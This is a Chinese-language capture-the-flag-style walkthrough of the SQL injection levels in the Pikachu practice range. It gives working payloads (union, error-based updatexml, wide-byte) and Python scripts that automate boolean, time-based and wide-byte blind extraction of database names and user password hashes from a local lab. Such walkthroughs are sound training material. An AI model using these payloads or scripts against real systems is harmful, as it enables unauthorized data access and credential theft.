Pikachu靶场—sql注入通关

前言

创作不易，给个关注吧，有任何问题可以评论或者私聊

一、数字型注入

关卡详情

根据图上来看，这关有个下拉菜单可以选数字。由于从url看不到什么变化，我们用burpsuite抓包看一下。确定是post请求

因为题目指出是数字型的注入，所以就不用找闭合了，直接使用 order by 探测列数，这里探测到3的时候就开始报错，所以列数是两列

探测出来列数后，直接再使用 union select 联合查询，爆出数据库名，这里爆出了数据库名就是pikachu

有了数据库名后，直接爆表名

id=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

最后再爆出字段里的数据

id=2 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2

发现密码是md5加密的，直接解密一波就可以了，pikachu的秘密解密后是：000000

二、字符型注入

这一关只有一个输入框，直接给了一个单引号会报错，并且上面的url会发现变化，直接得到一个url地址

根据题目是字符型的注入，所以直接给个万能公式 x’ or 1=1 limit 1进行试探，得到一些uid和信息，说明是存在注入漏洞

然后直接使用order by探测列数，这里也是到3 就会报错，所以还是两列

拿到列数后，使用union 链表查询到数据库名后，剩下的步骤和上面是一样的，将查询语句，放在x‘ 的后面，#号的前面即可

三、搜索型注入

按照和上面的方式一样，老办法，先探测是什么注入方式，首先给个 ’ 号闭合，得到一个url路径，最后使用 x‘ 发现有报错信息

发现报错信息里有一个%号，所以加上一个%号之后再进行闭合，发现错误消失了

继续再使用order by进行查询列数，这次探测到第四列才报错，说明这一关的列数有3列

然后再使用联表查询到数据库名依然是pikachu

知道数据库名后，直接查询表名

group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

爆列
爆内容

x%' union select username,password,level from users#

依然是md5加密的，可以直接通过网站进行解密即可

四、XX型注入

按照之前的流程，先尝试给了一个 ’ 号进行试探，看看是什么类型的注入，得到一个带 ) 的报错信息，猜测可能还是字符型输入

然后尝试各种方式探测，最终发现 x’) %23 不会报错，说明这样闭合没有问题
然后继续 order by 找列数，这次到 3 就报错，所以确认是有两列

爆库名，发现还是pichachu

爆表名，使用之前的语句发现会报错，可能是因为union的两个SQL语句产生的记录的表结构不一致

尝试换个方法，能够直接查询出来，采用了distinct 去重

x') union select group_concat(distinct table_name),2 from information_schema.columns where table_schema='pikachu'%23

爆列，使用之前的语句时，也会显示users无法识别

于是换了一种编码格式，url和base64都报错，十六进制可以使用，所以转成16进制

爆内容，MD5加密，直接解密即可

x') union select username,password from users%23&submit=查询

五、insert注入

从注册入手，先使用工具抓包看看，看是否是post请求，感觉是post请求，除了按钮之外，还有6个参数

先尝试将必填的参数写在username里面，将后面的注释，前面的形成闭合，但是发现报错，显示列数不对

重新整理下，将参数全部塞进去，显示注册成功，后面的被注释掉了，说明 ‘ 号是闭合

但是发现没有任何报错信息回显，可能隐藏了，这里尝试使用报错注入看看是否可以，发现最后显示出来了数据库

username=aaaa' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'&password=123123&sex=&phonenum=&email=&add=&submit=submit

爆表

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

爆列（修改substr的参数可以全部爆出来）

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1) or '& '&password=123123&sex=&phonenum=&email=&add=&submit=submit

爆内容

username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1)or '&password=123123&sex=&phonenum=&email=&add=&submit=submit

六、delete注入

点进去发现是个留言板，可以增加留言可以删除留言，之后就没有什么特别的提示了，所以尝试抓包看下，最后发现是get请求

随便给一个id=1，发现会报错，给order by探测列数，发现都会报错，尝试使用报错注入 ，发现这个可以成功爆出数据库名

?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

发现报错注入有用的话，剩下的都是老套路，爆表

剩下的和上面的关卡是一样的，爆列名

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)

爆内容

?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

七、http header注入

根据标题可以看到是根据http头部进行注入，先尝试使用admin正常登录看看，跳出了一个信息被记录的提示，并且登录进去之后有回显http request报文头

下面抓包看一下，按照之前sql-labs的经验，尝试在user-agent中进行注入

尝试在user-agent中加入报错注入

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

直接拿到了数据库名

八、盲注：基于布尔盲注

先找闭合，老样子先直接给个单引号和双引号进行探测，最后返回的都是用户名不存在，但是在后面加个 # 号就能返回正常结果，所以基本确认闭合是单引号闭合，下面就是爆数据库名，手工盲注太慢了，写个python脚本直接跑

import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php"  # url地址
headers = {
    
    
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85", }  # http request报文头部信息
keylist = [chr(i) for i in range(33, 127)]  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  # 用于判断附加sql语句为真的字符，根据网页回显填写，登录成功会显示 your uid等字段


def showdatabase():
    n = 20  # 猜测的最大长度
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "lili' and length(database())>" + str(j) + "-- ss"
            param = {
    
    
                "name": payload1,
                "submit": "查询",
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "lili' and length(database())=" + str(i) + "-- ss"
                param = {
    
    
                    "name": payload2,
                    "submit": "查询",
                }
                response = requests.get(url, params=param, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("数据库名长度为：" + str(length) )
    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "lili' and substring(database()," + str(i) + ",1)='" + c + "'-- ss"
            param = {
    
    
                "name": payload3,
                "submit": "查询",
            }
            response = requests.get(url, params=param, headers=headers)
            if response.text.find(flag) != -1:
                db = db + c
                break
    print("数据库名是："+str(db))

showdatabase()

效果图

九、布尔盲注：基于时间

不挣扎了，直接上脚本，多说无益

def databaseTime():
    n = 20
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "lili' and  if(length(database())>" + str(j) + ",sleep(3),1)-- ss"  
            param = {
    
    
                "name": payload1,
                "submit": "查询",
            }
            try:
                response = requests.get(url, params=param, headers=headers,timeout=2)
                k = k
                n = j
            except:
                n = n
                k = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "lili' and  if(length(database())=" + str(i) + ",sleep(3),1)-- ss"
                param = {
    
    
                    "name": payload2,
                    "submit": "查询",
                }
                try:
                    response = requests.get(url, params=param, headers=headers, timeout=2)
                except:
                    length = i
                    break
            break
        else:
            break
    print("数据库的长度为：" + str(length))

    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "lili' and if(substring(database()," + str(i) + ",1)='" + c + "',sleep(3),1)-- ss"
            param = {
    
    
                "name": payload3,
                "submit": "查询",
            }
            try:
                response = requests.get(url, params=param, headers=headers, timeout=2)
            except:
                db = db + c
                break
    print("数据库名为：" + str(db))

databaseTime()

效果图：

十、宽字节注入

这关提醒是宽字节注入,通过抓包分析，发现这一关是一个post请求，所以尝试直接使用宽字节登录看看，提示用户不存在

说明数据库是收到了数据，但是没有查询到，继续加一个 or 1=1 进行探测，发现是显示了正常的结果

再次输入 1=2时，就回显示username不存在

从这里就可以看出，这关本质上还是布尔盲注，只是单引号被转义了，所以直接修改前面的脚本代码，直接跑

import requests

url = "http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php" 
headers = {
    
    
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
    "Cookie": "PHPSESSID=im2aisu068uefdjnd9p59l2d85",
    "Content-Type": "application/x-www-form-urlencoded"  # 需添加此行，不然requests模块自动进行url编码
}  

keylist = range(33, 127)  # 包括数字、大小写字母、可见特殊字符
flag = 'your uid'  


def databaseWide():
    n = 10  
    k = 0
    j = n // 2
    length = 0
    db = str()
    while True:
        if j > k and j < n and j - k > 3:
            payload1 = "name=lili%df' or length(database())>" + str(
                j) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"  
            response = requests.post(url, data=payload1, headers=headers)  #
            # print(response.request.headers)
            # print(response.request.body)
            if response.text.find(flag) != -1:
                n = n
                k = j
            else:
                k = k
                n = j
            j = (n - k) // 2
        elif j - k == 3 or j - k < 3:
            for i in range(k - 1, n + 2):
                payload2 = "name=lili%df' or length(database())=" + str(i) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
                param = {
    
    
                    "name": payload2,
                    "submit": "查询",
                }
                response = requests.post(url, data=payload2, headers=headers)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("数据库的长度是：" + str(length))

    for i in range(1, length + 1):
        for c in keylist:
            payload3 = "name=lili%df' or ascii(substring(database()," + str(i) + ",1))=" + str(
                c) + "-- ss&submit=%E6%9F%A5%E8%AF%A2"
            response = requests.post(url, data=payload3, headers=headers)
            if response.text.find(flag) != -1:
                db = db + chr(c)
                break
    print("数据库名字是：" + str(db))

databaseWide()

效果图

总结

没有总结